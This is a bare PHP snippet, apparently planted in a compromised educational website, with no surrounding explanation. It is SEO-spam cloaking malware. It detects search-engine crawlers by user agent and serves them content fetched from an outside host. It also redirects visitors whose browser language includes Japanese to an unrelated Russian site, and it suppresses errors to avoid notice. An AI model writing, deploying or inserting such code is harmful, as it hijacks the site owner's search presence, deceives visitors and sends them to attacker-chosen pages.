error_reporting(0); $dy = array( array( 'jiechizhizhu' => 'itc.edu.kh/', 'zhizhufanhui' => 'http://cisco.bag57.info/kaob/itc.edu.kh/index.html', 'jiechitiaozhuan' => 'itc.edu.kh/', 'tiaozhuan' => 'https://www.iesc.ru/cat273.html', ), ); $uri = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $user_cl = getipc(); $lan = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if (count($dy) > 0 && !empty($uri)) { $botchar = "/(googlebot|bingbot|yahoo|sqworm)/"; if (preg_match($botchar, strtolower($user_agent))) { $is_exit = false; if (!$is_exit) { foreach ($dy as $key => $val) { if ($uri == $val['jiechizhizhu']) { die(getFilejc($val['zhizhufanhui'])); } } } } elseif (preg_match('/(ja)/', strtolower($lan)) && !empty($lan)) { foreach ($dy as $key => $val) { if ($uri == $val['jiechitiaozhuan']) { header('Location: ' . $val['tiaozhuan']); exit; } } } } function getFilejc($token_url) { $ch = curl_init(); $timeout = 60; curl_setopt($ch, CURLOPT_URL, $token_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $Content_mb = curl_exec($ch); curl_close($ch); return $Content_mb; } function getipc() { $arr_ip_header = array( 'HTTP_CDN_SRC_IP', 'HTTP_PROXY_CLIENT_IP', 'HTTP_WL_PROXY_CLIENT_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR', ); $client_ip = 'unknown'; foreach ($arr_ip_header as $key) { if (!empty($_SERVER[$key]) && strtolower($_SERVER[$key]) != 'unknown') { $client_ip = $_SERVER[$key]; break; } } return $client_ip; }